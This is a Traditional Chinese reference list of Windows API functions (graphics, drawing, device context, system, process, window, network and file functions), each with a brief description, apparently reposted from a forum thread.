GetBitmapBits 將來自圖形的二進制位複製到一個緩衝區
GetBitmapDimensionEx 取得一幅圖形的寬度和高度
GetDIBColorTable 從選入設備場景的DIBSection中取得顏色表訊息
GetDIBits 將來自一幅圖形的二進制位複製到一幅與設備無關的圖形裡
GetIconInfo 取得與圖示有關的訊息
GetStretchBltMode 判斷StretchBlt 和 StretchDIBits函數採用的伸縮模式
LoadBitmap 從指定的模組或應用程式實例中載入一幅圖形
LoadCursor 從指定的模組或應用程式實例中載入一個滑鼠游標
LoadCursorFromFile 在一個游標文件或一個動畫游標文件的基礎上新增一個游標
LoadIcon 從指定的模組或應用程式實例中載入一個圖示
LoadImage 載入一個圖形、圖示或游標
MaskBlt 執行複雜的圖像傳輸，同時進行掩模（MASK）處理
PatBlt 在當前選定的刷子的基礎上，用一個圖案填充指定的設備場景
PlgBlt 複製一幅圖形，同時將其轉換成一個平行四邊形。利用它可對圖形進行旋轉處理
SetBitmapBits 將來自緩衝區的二進制位複製到一幅圖形
SetBitmapDimensionEx 設定一幅圖形的寬度。以一毫米的十分之一為服務機構
SetDIBColorTable 設定選入設備場景的一個DIBSection的顏色表訊息
SetDIBits 將來自與設備無關圖形的二進制位複製到一幅與設備有關的圖形裡
SetDIBitsToDevice 將一幅與設備無關圖形的全部或部分資料直接複製到一個設備
SetStretchBltMode 指定StretchBlt 和 StretchDIBits函數的伸縮模式
StretchBlt 將一幅圖形從一個設備場景複製到另一個
StretchDIBits 將一幅與設備無關圖形的全部或部分資料直接複製到指定的設備場景
8. API之繪圖函數
AbortPath 拋棄選入指定設備場景中的所有路徑。也取消目前正在進行的任何路徑的新增工作
AngleArc 用一個連接弧畫一條線
Arc 畫一個圓弧
BeginPath 啟動一個路徑分支
CancelDC 取消另一個執行緒裡的長時間繪圖操作
Chord 畫一個弦
CloseEnhMetaFile 關閉指定的增強型圖元文件設備場景，並將新增的圖元文件返回一個關鍵句
CloseFigure 描繪到一個路徑時，關閉當前開啟的圖形
CloseMetaFile 關閉指定的圖元文件設備場景，並向新增的圖元文件返回一個關鍵句
CopyEnhMetaFile 製作指定增強型圖元文件的一個副本（拷貝）
CopyMetaFile 製作指定（標準）圖元文件的一個副本
CreateBrushIndirect 在一個LOGBRUSH資料結構的基礎上新增一個刷子
CreateDIBPatternBrush 用一幅與設備無關的圖形新增一個刷子，以便指定刷子樣式（圖案）
CreateEnhMetaFile 新增一個增強型的圖元文件設備場景
CreateHatchBrush 新增帶有陰影圖案的一個刷子
CreateMetaFile 新增一個圖元文件設備場景
CreatePatternBrush 用指定了刷子圖案的一幅圖形新增一個刷子
CreatePen 用指定的樣式、寬度和顏色新增一個畫筆
CreatePenIndirect 根據指定的LOGPEN結構新增一個畫筆
CreateSolidBrush 用純色新增一個刷子
DeleteEnhMetaFile 移除指定的增強型圖元文件
DeleteMetaFile 移除指定的圖元文件
DeleteObject 移除GDI對象，對像使用的所有系統資源都會被解壓縮
DrawEdge 用指定的樣式描繪一個矩形的邊框
DrawEscape 換碼（Escape）函數將資料直接發至顯示設備驅動程式
DrawFocusRect 畫一個焦點矩形
DrawFrameControl 描繪一個標準控件
DrawState 為一幅圖像或繪圖操作套用各式各樣的效果
Ellipse 描繪一個橢圓，由指定的矩形圍繞
EndPath 停止定義一個路徑
EnumEnhMetaFile 針對一個增強型圖元文件，列舉其中單獨的圖元文件記錄
EnumMetaFile 為一個標準的windows圖元文件枚舉單獨的圖元文件記錄
EnumObjects 枚舉可隨同指定設備場景使用的畫筆和刷子
ExtCreatePen 新增一個增強畫筆（裝飾或幾何）
ExtFloodFill 在指定的設備場景裡，用當前選項的刷子填充一個區域
FillPath 關閉路徑中任何開啟的圖形，並用當前刷子填充
FillRect 用指定的刷子填充一個矩形
FlattenPath 將一個路徑中的所有曲線都轉換成線段
FloodFill 用當前選定的刷子在指定的設備場景中填充一個區域
FrameRect 用指定的刷子圍繞一個矩形畫一個邊框
GdiComment 為指定的增強型圖元文件設備場景增加一條註釋訊息
GdiFlush 執行任何未決的繪圖操作
GdiGetBatchLimit 判斷有多少個GDI繪圖指令位於貯列中
GdiSetBatchLimit 指定有多少個GDI繪圖指令能夠進入貯列
GetArcDirection 畫圓弧的時候，判斷當前採用的繪圖方向
GetBkColor 取得指定設備場景現用的背景顏色
GetBkMode 針對指定的設備場景，取得現用的背景填充模式
GetBrushOrgEx 判斷指定設備場景中當前選定刷子起點
GetCurrentObject 獲得指定檔案類型的當前選定對像
GetCurrentPositionEx 在指定的設備場景中取得現用的畫筆位置
GetEnhMetaFile 取得磁牒文件中包含的一個增強型圖元文件的圖元文件關鍵句
GetEnhMetaFileBits 將指定的增強型圖元文件複製到一個記憶體緩衝區裡
GetEnhMetaFileDescription 返回對一個增強型圖元文件的說明
GetEnhMetaFileHeader 取得增強型圖元文件的圖元文件頭
GetEnhMetaFilePaletteEntries 取得增強型圖元文件的全部或部分調色板
GetMetaFile 取得包含在一個磁牒文件中的圖元文件的圖元文件關鍵句
GetMetaFileBitsEx 將指定的圖元文件複製到一個記憶體緩衝區
GetMiterLimit 取得設備場景的斜率限制（Miter）設定
GetNearestColor 根據設備的顯示能力，取得與指定顏色最接近的一種純色
GetObjectAPI 取得對指定對像進行說明的一個結構
GetObjectType 判斷由指定關鍵句引用的GDI對象的檔案類型
GetPath 取得對當前路徑進行定義的一系列資料
GetPixel 在指定的設備場景中取得一個像素的RGB值
GetPolyFillMode 針對指定的設備場景，獲得多邊形填充模式
GetROP2 針對指定的設備場景，取得現用的繪圖模式
GetStockObject 取得一個固有對象（Stock）
GetSysColorBrush 為任何一種標準系統顏色取得一個刷子
GetWinMetaFileBits 通過在一個緩衝區中填充用於標準圖元文件的資料，將一個增強型圖元文件轉換成標準windows圖元文件
InvertRect 通過反轉每個像素的值，從而反轉一個設備場景中指定的矩形
LineDDA 枚舉指定線段中的所有點
LineTo 用當前畫筆畫一條線，從當前位置連到一個指定的點
MoveToEx 為指定的設備場景指定一個新的當前畫筆位置
PaintDesk 在指定的設備場景中描繪桌面牆紙圖案
PathToRegion 將當前選定的路徑轉換到一個區域裡
Pie 畫一個餅圖
PlayEnhMetaFile 在指定的設備場景中畫一個增強型圖元文件
PlayEnhMetaFileRecord 回放單獨一條增強型圖元文件記錄
PlayMetaFile 在指定的設備場景中回放一個圖元文件
PlayMetaFileRecord 回放來自圖元文件的單條記錄
PolyBezier 描繪一條或多條貝塞爾（Bezier）曲線
PolyDraw 描繪一條複雜的曲線，由線段及貝塞爾曲線組成
Polygon 描繪一個多邊形
Polyline 用當前畫筆描繪一系列線段
PolyPolygon 用當前選定畫筆描繪兩個或多個多邊形
PolyPolyline 用當前選定畫筆描繪兩個或多個多邊形
Rectangle 用當前選定的畫筆描繪矩形，並用當前選定的刷子填充
RoundRect 用當前選定的畫筆畫一個圓角矩形，並用當前選定的刷子在其中填充
SelectClipPath 將設備場景現用的路徑合併到剪下區域裡
SelectObject 為當前設備場景選項圖形對像
SetArcDirection 設定圓弧的描繪方向
SetBkColor 為指定的設備場景設定背景顏色
SetBkMode 指定陰影刷子、虛線畫筆以及字串中的空隙的填充方式
SetBrushOrgEx 為指定的設備場景設定當前選定刷子的起點
SetEnhMetaFileBits 用指定記憶體緩衝區內包含的資料新增一個增強型圖元文件
SetMetaFileBitsEx 用包含在指定記憶體緩衝區內的資料結構新增一個圖元文件
SetMiterLimit 設定設備場景現用的斜率限制
SetPixel 在指定的設備場景中設定一個像素的RGB值
SetPixelV 在指定的設備場景中設定一個像素的RGB值
SetPolyFillMode 設定多邊形的填充模式
SetROP2 設定指定設備場景的繪圖模式。與vb的DrawMode內容完全一致
SetWinMetaFileBits 將一個標準Windows圖元文件轉換成增強型圖元文件
StrokeAndFillPath 針對指定的設備場景，關閉路徑上開啟的所有區域
StrokePath 用當前畫筆描繪一個路徑的輪廓。開啟的圖形不會被這個函數關閉
UnrealizeObject 將一個刷子對像選入設備場景之前，如刷子的起點準備用SetBrushOrgEx修改，則必須先使用本函數
WidenPath 根據選定畫筆的寬度，重新定義當前選定的路徑
9. API之設備場景函數
CombineRgn 將兩個區域組合為一個新區域
CombineTransform 驅動世界轉換。它相當於依順序進行兩次轉換
CreateCompatibleDC 新增一個與特定設備場景一致的記憶體設備場景
CreateDC 為專門設備新增設備場景
CreateEllipticRgn 新增一個橢圓
CreateEllipticRgnIndirect 新增一個內切於特定矩形的橢圓區域
CreateIC 為專用設備新增一個訊息場景
CreatePolygonRgn 新增一個由一系列點圍成的區域
CreatePolyPolygonRgn 新增由多個多邊形構成的區域。每個多邊形都應是封閉的
CreateRectRgn 新增一個矩形區域
CreateRectRgnIndirect 新增一個矩形區域
CreateRoundRectRgn 新增一個圓角矩形
DeleteDC 移除專用設備場景或訊息場景，解壓縮所有相關視窗資源
DPtoLP 將點陣從設備坐標轉換到專用設備場景邏輯坐標
EqualRgn 確定兩個區域是否相等
ExcludeClipRect 從專用設備場景的剪裁區中去掉一個矩形區。矩形內不能進行繪圖
ExcludeUpdateRgn 從專用設備場景剪裁區去掉指定視窗的重新整理區域
ExtCreateRegion 根據世界轉換修改區域
ExtSelectClipRgn 將指定區域組合到設備場景的當前剪裁區
FillRgn 用指定刷子填充指定區域
FrameRgn 用指定刷子圍繞指定區域畫一個外框
GetBoundsRect 獲取指定設備場景的邊界矩形
GetClipBox 獲取完全包含指定設備場景剪裁區的最小矩形
GetClipRgn 獲取設備場景當前剪裁區
GetDC 獲取指定視窗的設備場景
GetDCEx 為指定視窗獲取設備場景。相比GetDC，本函數提供了更多的選項
GetDCOrgEx 獲取指定設備場景起點位置（以螢幕坐標表示）
GetDeviceCaps 根據指定設備場景代表的設備的功能返回訊息
GetGraphicsMode 確定是否允許增強圖形模式（世界轉換）
GetMapMode 為特定設備場景調入映像模式
GetRegionData 裝入描述一個區域訊息的RgnData結構或緩衝區
GetRgnBox 獲取完全包含指定區域的最小矩形
GetUpdateRgn 確定指定視窗的重新整理區域。該區域當前無效，需要重新整理
GetViewportExtEx 獲取設備場景視口（viewport）範圍
GetViewportOrgEx 獲取設備場景視口起點
GetWindowDC 獲取整個視窗（包括邊框、捲軸、標題欄、表單等）的設備場景
GetWindowExtEx 獲取指定設備場景的視窗範圍
GetWindowOrgEx 獲取指定設備場景的邏輯視窗的起點
GetWindowRgn 獲取視窗區域
GetWorldTransform 如果有世界轉換，為設備場景獲取當前世界轉換
IntersectClipRect 為指定設備定義一個新的剪裁區
InvalidateRgn 使視窗指定區域不活動，並將它加入視窗重新整理區，使之可隨後被重畫
InvertRgn 通過顛倒每個像素值反轉設備場景指定區域
LPtoDP 將點陣從指定設備場景邏輯坐標轉換為設備坐標
ModifyWorldTransform 根據指定的模式修改世界轉換
OffsetClipRgn 按指定量平移設備場景剪裁區
OffsetRgn 按指定偏移量平移指定區域
OffsetViewportOrgEx 平移設備場景視口區域
OffsetWindowOrgEx 平移指定設備場景視窗起點
PaintRgn 用當前刷子背景色填充指定區域
PtInRegion 確定點是否在指定區域內
PtVisible 確定指定點是否可見（即，點是否在設備場景剪裁區內）
RectInRegion 確定矩形是否有部分在指定區域內
RectVisible 確定指定矩形是否有部分可見（是否在設備場景剪裁區內）
ReleaseDC 解壓縮由使用GetDC或GetWindowDC函數獲取的指定設備場景
RestoreDC 從設備場景堆疊恢復一個原先儲存的設備場景
SaveDC 將指定設備場景狀態儲存到Windows設備場景堆疊
ScaleViewportExtEx 縮放設備場景視口的範圍
ScaleWindowExtEx 縮放指定設備場景視窗範圍
ScrollDC 在視窗（由設備場景代表）中水準和（或）垂直滾動矩形
SelectClipRgn 為指定設備場景選項新的剪裁區
SetBoundsRect 設定指定設備場景的邊界矩形
SetGraphicsMode 允許或禁止增強圖形模式，以提供某些支持（包括世界轉換）
SetMapMode 設定指定設備場景的映射模式
SetRectRgn 設定區域為指定的矩形
SetViewportExtEx 設定設備場景視口範圍
SetViewportOrgEx 設定設備場景視口起點
SetWindowExtEx 設定指定設備場景視窗範圍
SetWindowOrgEx 設定指定設備場景視窗起點
SetWindowRgn 設定視窗區域
SetWorldTransform 設定世界轉換
ValidateRgn 啟動視窗中指定區域，把它從重新整理區移走
WindowFromDC 取回與某一設備場景相關的視窗的關鍵句
10. API之硬體與系統函數
ActivateKeyboardLayout 啟動一個新的鍵盤佈局。鍵盤佈局定義了按鍵在一種物理性鍵碟上的位置與含義
Beep 用於產生簡單的聲音
CharToOem 將一個字串從ANSI字串集轉換到OEM字串集
ClipCursor 將游標限制到指定區域
ConvertDefaultLocale 將一個特殊的地方標幟符轉換成真實的地方ID
CreateCaret 根據指定的訊息新增一個插入符（游標），並將它選定為指定視窗的預設值插入符
DestroyCaret 清除（破壞）一個插入符
EnumCalendarInfo 枚舉在指定"地方"環境中可用的日曆訊息
EnumDateFormats 列舉指定的"當地"設定中可用的長、短日期格式
EnumSystemCodePages 枚舉系統中已安裝或支持的程式碼頁
EnumSystemLocales 枚舉系統已經安裝或提供支持的"地方"設定
EnumTimeFormats 枚舉一個指定的地方適用的時間格式
ExitWindowsEx 結束windows，並用特定的選項重新啟動
ExpandEnvironmentStrings 擴充環境字串
FreeEnvironmentStrings 翻譯指定的環境字串塊
GetACP 判斷目前正在生效的ANSI程式碼頁
GetAsyncKeyState 判斷函數使用時指定虛擬鍵的狀態
GetCaretBlinkTime 判斷插入符游標的閃爍頻率
GetCaretPos 判斷插入符的當前位置
GetClipCursor 取得一個矩形，用於描述目前為滑鼠游標規定的剪下區域
GetCommandLine 獲得指向當前指令行緩衝區的一個游標
GetComputerName 取得這台電腦的名稱
GetCPInfo 取得與指定程式碼頁有關的訊息
GetCurrencyFormat 針對指定的"地方"設定，根據貨幣格式格式化一個數位
GetCursor 獲取目前選項的滑鼠游標的關鍵句
GetCursorPos 獲取滑鼠游標的當前位置
GetDateFormat 針對指定的"當地"格式，對一個系統日期進行格式化
GetDoubleClickTime 判斷連續兩次滑鼠按下之間會被處理成雙按事件的間隔時間
GetEnvironmentStrings 為包含了當前環境字串設定的一個記憶體塊分配和返回一個關鍵句
GetEnvironmentVariable 取得一個環境變數的值
GetInputState 判斷是否存在任何待決（等待處理）的滑鼠或鍵盤事件
GetKBCodePage 由GetOEMCP取代，兩者功能完全相同
GetKeyboardLayout 取得一個關鍵句，描述指定應用程式的鍵盤佈局
GetKeyboardLayoutList 獲得系統適用的所有鍵盤佈局的一個列表
GetKeyboardLayoutName 取得當前活動鍵盤佈局的名稱
GetKeyboardState 取得鍵碟上每個虛擬鍵現用的狀態
GetKeyboardType 瞭解與正在使用的鍵盤有關的訊息
GetKeyNameText 在指出掃瞄碼的前提下，判斷鍵名
GetKeyState 針對已處理過的按鍵，在最近一次輸入訊息時，判斷指定虛擬鍵的狀態
GetLastError 針對之前使用的api函數，用這個函數取得增強錯誤訊息
GetLocaleInfo 取得與指定"地方"有關的訊息
GetLocalTime 取得本機日期和時間
GetNumberFormat 針對指定的"地方"，按特定的格式格式化一個數位
GetOEMCP 判斷在OEM和ANSI字串集間轉換的windows程式碼頁
GetQueueStatus 判斷應用程式消息貯列中待決（等待處理）的消息檔案類型
GetSysColor 判斷指定windows顯示對象的顏色
GetSystemDefaultLangID 取得系統的預設值語言ID
GetSystemDefaultLCID 取得現用的預設值系統"地方"
GetSystemInfo 取得與底層硬體平台有關的訊息
GetSystemMetrics 返回與windows環境有關的訊息
GetSystemPowerStatus 獲得與當前系統電源狀態有關的訊息
GetSystemTime 取得當前系統時間，這個時間採用的是"協同世界時間"（即UTC，也叫做GMT）格式
GetSystemTimeAdjustment 使內部系統時鍾與一個外部的時鍾信號源同步
GetThreadLocale 取得當前執行緒的地方ID
GetTickCount 用於獲取自windows啟動以來經歷的時間長度（毫秒）
GetTimeFormat 針對當前指定的"地方"，按特定的格式格式化一個系統時間
GetTimeZoneInformation 取得與系統時區設定有關的訊息
GetUserDefaultLangID 為當前用戶取得預設值語言ID
GetUserDefaultLCID 取得當前用戶的預設值"地方"設定
GetUserName 取得當前用戶的名字
GetVersion 判斷當前執行的Windows和DOS版本
GetVersionEx 取得與平台和作業系統有關的版本訊息
HideCaret 在指定的視窗隱藏插入符（游標）
IsValidCodePage 判斷一個程式碼頁是否有效
IsValidLocale 判斷地方標幟符是否有效
keybd_event 這個函數模擬了鍵盤行動
LoadKeyboardLayout 載入一個鍵盤佈局
MapVirtualKey 根據指定的映射檔案類型，執行不同的掃瞄碼和字串轉換
MapVirtualKeyEx 根據指定的映射檔案類型，執行不同的掃瞄碼和字串轉換
MessageBeep 播放一個系統聲音。系統聲音的分配方案是在控制台裡決定的
mouse_event 模擬一次滑鼠事件
OemKeyScan 判斷OEM字串集中的一個ASCII字串的掃瞄碼和Shift鍵狀態
OemToChar 將OEM字串集的一個字串轉換到ANSI字串集
SetCaretBlinkTime 指定插入符（游標）的閃爍頻率
SetCaretPos 指定插入符的位置
SetComputerName 設定新的電腦名稱
SetCursor 將指定的滑鼠游標設為當前游標
SetCursorPos 設定游標的位置
SetDoubleClickTime 設定連續兩次滑鼠按下之間能使系統認為是雙按事件的間隔時間
SetEnvironmentVariable 將一個環境變數設為指定的值
SetKeyboardState 設定每個虛擬鍵當前在鍵碟上的狀態
SetLocaleInfo 改變用戶"地方"設定訊息
SetLocalTime 設定當前地方時間
SetSysColors 設定指定視窗顯示對象的顏色
SetSystemCursor 改變任何一個標準系統游標
SetSystemTime 設定當前系統時間
SetSystemTimeAdjustment 定時增加一個校準值使內部系統時鍾與一個外部的時鍾信號源同步
SetThreadLocale 為當前執行緒設定地方
SetTimeZoneInformation 設定系統時區訊息
ShowCaret 在指定的視窗裡顯示插入符（游標）
ShowCursor 控制滑鼠游標的可視性
SwapMouseButton 決定是否互換滑鼠左右鍵的功能
SystemParametersInfo 獲取和設定數量眾多的windows系統參數
SystemTimeToTzSpecificLocalTime 將系統時間轉換成地方時間
ToAscii 根據現用的掃瞄碼和鍵盤訊息，將一個虛擬鍵轉換成ASCII字串
ToUnicode 根據現用的掃瞄碼和鍵盤訊息，將一個虛擬鍵轉換成Unicode字串
UnloadKeyboardLayout 卸載指定的鍵盤佈局
VkKeyScan 針對Windows字串集中一個ASCII字串，判斷虛擬鍵碼和Shift鍵的狀態
11. API之工作和執行緒函數
CancelWaitableTimer 這個函數用於取消一個可以等待下去的計時器操作
CallNamedPipe 這個函數由一個希望通過管道通信的一個客戶工作使用
ConnectNamedPipe 指示一台伺服器等待下去，直至客戶端機同一個命名管道連接
CreateEvent 新增一個事件對像
CreateMailslot 新增一個郵路。返回的關鍵句由郵路伺服器使用（收信者）
CreateMutex 新增一個互斥體（MUTEX）
CreateNamedPipe 新增一個命名管道。返回的關鍵句由管道的伺服器端使用
CreatePipe 新增一個匿名管道
CreateProcess 新增一個新工作（比如執行一個程序）
CreateSemaphore 新增一個新的信號機
CreateWaitableTimer 新增一個可等待的計時器對像
DisconnectNamedPipe 中斷連線一個客戶與一個命名管道的連接
DuplicateHandle 在指出一個現有系統對像當前關鍵句的情況下，為那個對象新增一個新關鍵句
ExitProcess 中止一個工作
FindCloseChangeNotification 關閉一個改動通知對像
FindExecutable 尋找與一個指定文件關聯在一起的程序的檔案名
FindFirstChangeNotification 新增一個文件通知對象。該對像用於監視文件系統發生的變化
FindNextChangeNotification 重設一個文件改變通知對象，令其繼續監視下一次變化
FreeLibrary 解壓縮指定的動態連接庫
GetCurrentProcess 獲取當繼續程的一個偽關鍵句
GetCurrentProcessId 獲取當繼續程一個唯一的標幟符
GetCurrentThread 獲取當前執行緒的一個偽關鍵句
GetCurrentThreadId 獲取當前執行緒一個唯一的執行緒標幟符
GetExitCodeProces 獲取一個已中斷工作的結束程式碼
GetExitCodeThread 獲取一個已中止執行緒的結束程式碼
GetHandleInformation 獲取與一個系統對像關鍵句有關的訊息
GetMailslotInfo 獲取與一個郵路有關的訊息
GetModuleFileName 獲取一個已安裝載入範本的完整路徑名稱
GetModuleHandle 獲取一個應用程式或動態連接庫的模組關鍵句
GetPriorityClass 獲取特定工作的優先等級別
GetProcessShutdownParameters 調查系統關閉時一個指定的工作相對於其它工作的關閉早遲情況
GetProcessTimes 獲取與一個工作的經過時間有關的訊息
GetProcessWorkingSetSize 瞭解一個應用程式在執行程序中實際向它交付了多大容量的記憶體
GetSartupInfo 獲取一個工作的啟動訊息
GetThreadPriority 獲取特定執行緒的優先等級別
GetTheardTimes 獲取與一個執行緒的經過時間有關的訊息
GetWindowThreadProcessId 獲取與指定視窗關聯在一起的一個工作和執行緒標幟符
LoadLibrary 載入指定的動態連接庫，並將它映射到當繼續程使用的位址空間
LoadLibraryEx 安裝載入指定的動態連接庫，並為當繼續程把它映射到位址空間
LoadModule 載入一個Windows應用程式，並在指定的環境中執行
MsgWaitForMultipleObjects 等候單個對象或一系列對像發出信號。如返回條件已經滿足，則立即返回
SetPriorityClass 設定一個工作的優先等級別
SetProcessShutdownParameters 在系統關閉期間，為指定工作設定他相對於其它程序的關閉順序
SetProcessWorkingSetSize 設定作業系統實際劃分給工作使用的記憶體容量
SetThreadPriority 設定執行緒的優先等級別
ShellExecute 尋找與指定文件關聯在一起的程序的檔案名
TerminateProcess 結束一個工作
WinExec 執行指定的程序
12. API之控件與消息函數
AdjustWindowRect 給定一種視窗樣式，計算獲得目標客戶區矩形所需的視窗大小
AnyPopup 判斷螢幕上是否存在任何彈出式視窗
ArrangeIconicWindows 排列一個父視窗的最小化子視窗
AttachThreadInput 連接執行緒輸入函數
BeginDeferWindowPos 啟動構建一系列新視窗位置的程序
BringWindowToTop 將指定的視窗帶至視窗列表上面
CascadeWindows 以層疊方式排列視窗
ChildWindowFromPoint 返回父視窗中包含了指定點的第一個子視窗的關鍵句
ClientToScreen 判斷視窗內以客戶區坐標表示的一個點的螢幕坐標
CloseWindow 最小化指定的視窗
CopyRect 矩形內容複製
DeferWindowPos 該函數為特定的視窗指定一個新視窗位置
DestroyWindow 清除指定的視窗以及它的所有子視窗
DrawAnimatedRects 描繪一系列動態矩形
EnableWindow 指定的視窗裡允許或禁止所有滑鼠及鍵盤輸入
EndDeferWindowPos 同時更新DeferWindowPos使用時指定的所有視窗的位置及狀態
EnumChildWindows 為指定的父視窗枚舉子視窗
EnumThreadWindows 枚舉與指定工作相關的視窗
EnumWindows 枚舉視窗列表中的所有父視窗
EqualRect 判斷兩個矩形結構是否相同
FindWindow 尋找視窗列表中第一個符合指定條件的頂級視窗
FindWindowEx 在視窗列表中尋找與指定條件相符的第一個子視窗
FlashWindow 閃爍顯示指定視窗
GetActiveWindow 獲得活動視窗的關鍵句
GetCapture 獲得一個視窗的關鍵句，這個視窗位於當前輸入執行緒，且擁有滑鼠捕獲（滑鼠活動由它接收）
GetClassInfo 取得WNDCLASS結構（或WNDCLASSEX結構）的一個副本，結構中包含了與指定類有關的訊息
GetClassLong 取得視窗類的一個Long變數 列項
GetClassName 為指定的視窗取得類名
GetClassWord 為視窗類取得一個整數變數
GetClientRect 返回指定視窗客戶區矩形的大小
GetDesktopWindow 獲得代表整個螢幕的一個視窗（桌面視窗）關鍵句
GetFocus 獲得擁有輸入焦點的視窗的關鍵句
GetForegroundWindow 獲得前台視窗的關鍵句
GetLastActivePopup 獲得在一個給定父視窗中最近啟動過的彈出式視窗的關鍵句
GetParent 判斷指定視窗的父視窗
GetTopWindow 搜尋內部視窗列表，尋找隸屬於指定視窗的頭一個視窗的關鍵句
GetUpdateRect 獲得一個矩形，它描敘了指定視窗中需要更新的那一部分
GetWindow 獲得一個視窗的關鍵句，該視窗與某源視窗有特定的關係
GetWindowContextHelpId 取得與視窗關聯在一起的說明 場景ID
GetWindowLong 從指定視窗的結構中取得訊息
GetWindowPlacement 獲得指定視窗的狀態及位置訊息
GetWindowRect 獲得整個視窗的範圍矩形，視窗的邊框、標題欄、捲軸及表單等都在這個矩形內
GetWindowText 取得一個表單的標題（caption）文字，或者一個控件的內容
GetWindowTextLength 調查視窗標題文字或控件內容的長短
GetWindowWord 獲得指定視窗結構的訊息
InflateRect 增大或減小一個矩形的大小
IntersectRect 這個函數在lpDestRect裡載入一個矩形，它是lpSrc1Rect與lpSrc2Rect兩個矩形的交集
InvalidateRect 遮閉一個視窗客戶區的全部或部分區域
IsChild 判斷一個視窗是否為另一視窗的子或隸屬視窗
IsIconic 判斷視窗是否已最小化
IsRectEmpty 判斷一個矩形是否為空
IsWindow 判斷一個視窗關鍵句是否有效
IsWindowEnabled 判斷視窗是否處於活動狀態
IsWindowUnicode 判斷一個視窗是否為Unicode視窗。這意味著視窗為所有關於文本的消息都接收Unicode文字
IsWindowVisible 判斷視窗是否可見
IsZoomed 判斷視窗是否最大化
LockWindowUpdate 鎖定指定視窗，禁止它更新
MapWindowPoints 將一個視窗客戶區坐標的點轉換到另一視窗的客戶區坐標系統
MoveWindow 改變指定視窗的位置和大小
OffsetRect 通過套用一個指定的偏移，從而讓矩形移動起來
OpenIcon 恢復一個最小化的程序，並將其啟動
PtInRect 判斷指定的點是否位於矩形內部
RedrawWindow 重畫全部或部分視窗
ReleaseCapture 為現用的應用程式解壓縮滑鼠捕獲
ScreenToClient 判斷螢幕上一個指定點的客戶區坐標
ScrollWindow 滾動視窗客戶區的全部或一部分
ScrollWindowEx 根據附加的選項，滾動視窗客戶區的全部或部分
SetActiveWindow 啟動指定的視窗
SetCapture 將滑鼠捕獲設定到指定的視窗
SetClassLong 為視窗類設定一個Long變數 列項
SetClassWord 為視窗類設定一個 列項
SetFocusAPI 將輸入焦點設到指定的視窗。如有必要，會啟動視窗
SetForegroundWindow 將視窗設為系統的前台視窗
SetParent 指定一個視窗的新父
SetRect 設定指定矩形的內容
SetRectEmpty 將矩形設為一個空矩形
SetWindowContextHelpId 為指定的視窗設定說明 場景（上下文）ID
SetWindowLong 在視窗結構中為指定的視窗設定訊息
SetWindowPlacement 設定視窗狀態和位置訊息
SetWindowPos 為視窗指定一個新位置和狀態
SetWindowText 設定視窗的標題文字或控件的內容
SetWindowWord 在視窗結構中為指定的視窗設定訊息
ShowOwnedPopups 顯示或隱藏由指定視窗所有的全部彈出式視窗
ShowWindow 控制視窗的可見性
ShowWindowAsync 與ShowWindow相似
SubtractRect 安裝載入矩形lprcDst，它是在矩形lprcSrc1中減去lprcSrc2得到的結果
TileWindows 以平鋪順序排列視窗
UnionRect 安裝載入一個lpDestRect目標矩形，它是lpSrc1Rect和lpSrc2Rect聯合起來的結果
UpdateWindow 強制立即更新視窗
ValidateRect 校驗視窗的全部或部分客戶區
WindowFromPoint 返回包含了指定點的視窗的關鍵句。忽略遮閉、隱藏以及透明視窗
一, 2009/07/27 - 16:24 — aikicat
WINDOWS API大全
史萊論壇 2006-05-24 psac
超級好的東西,WINDOWS API大全
1. API之網路函數
WNetAddConnection 新增同一個網路資源的永久性連接
WNetAddConnection2 新增同一個網路資源的連接
WNetAddConnection3 新增同一個網路資源的連接
WNetCancelConnection 結束一個網路連接
WNetCancelConnection2 結束一個網路連接
WNetCloseEnum 結束一次枚舉操作
WNetConnectionDialog 啟動一個標準對話視窗，以便建立同網路資源的連接
WNetDisconnectDialog 啟動一個標準對話視窗，以便中斷連線同網路資源的連接
WNetEnumResource 枚舉網路資源
WNetGetConnection 獲取本機或已連接的一個資源的網路名稱
WNetGetLastError 獲取網路錯誤的增強錯誤訊息
WNetGetUniversalName 獲取網路中一個文件的遠端名稱以及/或者UNC（統一命名規範）名稱
WNetGetUser 獲取一個網路資源用以連接的名字
WNetOpenEnum 啟動對網路資源進行枚舉的程序
2. API之消息函數
BroadcastSystemMessage 將一條系統消息廣播給系統中所有的頂級視窗
GetMessagePos 取得消息貯列中上一條消息處理完畢時的滑鼠游標螢幕位置
GetMessageTime 取得消息貯列中上一條消息處理完畢時的時間
PostMessage 將一條消息投遞到指定視窗的消息貯列
PostThreadMessage 將一條消息投遞給應用程式
RegisterWindowMessage 獲取分配給一個字串標幟符的消息編號
ReplyMessage 答覆一個消息
SendMessage 使用一個視窗的視窗函數，將一條消息發給那個視窗
SendMessageCallback 將一條消息發給視窗
SendMessageTimeout 向視窗傳送一條消息
SendNotifyMessage 向視窗傳送一條消息
3. API之文件處理函數
CloseHandle 關閉一個內核對象。其中包括文件、文件映射、工作、執行緒、安全和同步對像等
CompareFileTime 對比兩個文件的時間
CopyFile 複製文件
CreateDirectory 新增一個新目錄
CreateFile 開啟和新增文件、管道、郵槽、通信服務、設備以及控制台
CreateFileMapping 新增一個新的文件映射對像
DeleteFile 移除指定文件
DeviceIoControl 對設備執行指定的操作
DosDateTimeToFileTime 將DOS日期和時間值轉換成一個 win32 FILETIME 值
FileTimeToDosDateTime 將一個 win32 FILETIME 值轉換成DOS日期和時間值
FileTimeToLocalFileTime 將一個FILETIME結構轉換成本機時間
FileTimeToSystemTime 根據一個FILETIME結構的內容，安裝載入一個SYSTEMTIME結構
FindClose 關閉由FindFirstFile函數新增的一個搜尋關鍵句
FindFirstFile 根據檔案名尋找文件
FindNextFile 根據使用FindFirstFile函數時指定的一個檔案名尋找下一個文件
FlushFileBuffers 針對指定的文件關鍵句，重新整理內部文件緩衝區
FlushViewOfFile 將寫入文件映射緩衝區的所有資料都重新整理到磁牒
GetBinaryType 判斷文件是否可以執行
GetCompressedFileSize 判斷一個壓縮檔案在磁牒上實際佔據的字元數
GetCurrentDirectory 在一個緩衝區中安裝載入當前目錄
GetDiskFreeSpace 獲取與一個磁牒的組織有關的訊息，以及瞭解剩餘空間的容量
GetDiskFreeSpaceEx 獲取與一個磁牒的組織以及剩餘空間容量有關的訊息
GetDriveType 判斷一個磁碟機的檔案類型
GetExpandedName 取得一個壓縮檔案的全名
GetFileAttributes 判斷指定文件的內容
GetFileInformationByHandle 這個函數提供了獲取文件訊息的一種機制
GetFileSize 判斷文件長度
GetFileTime 取得指定文件的時間訊息
GetFileType 在指出文件關鍵句的前提下，判斷檔案類型
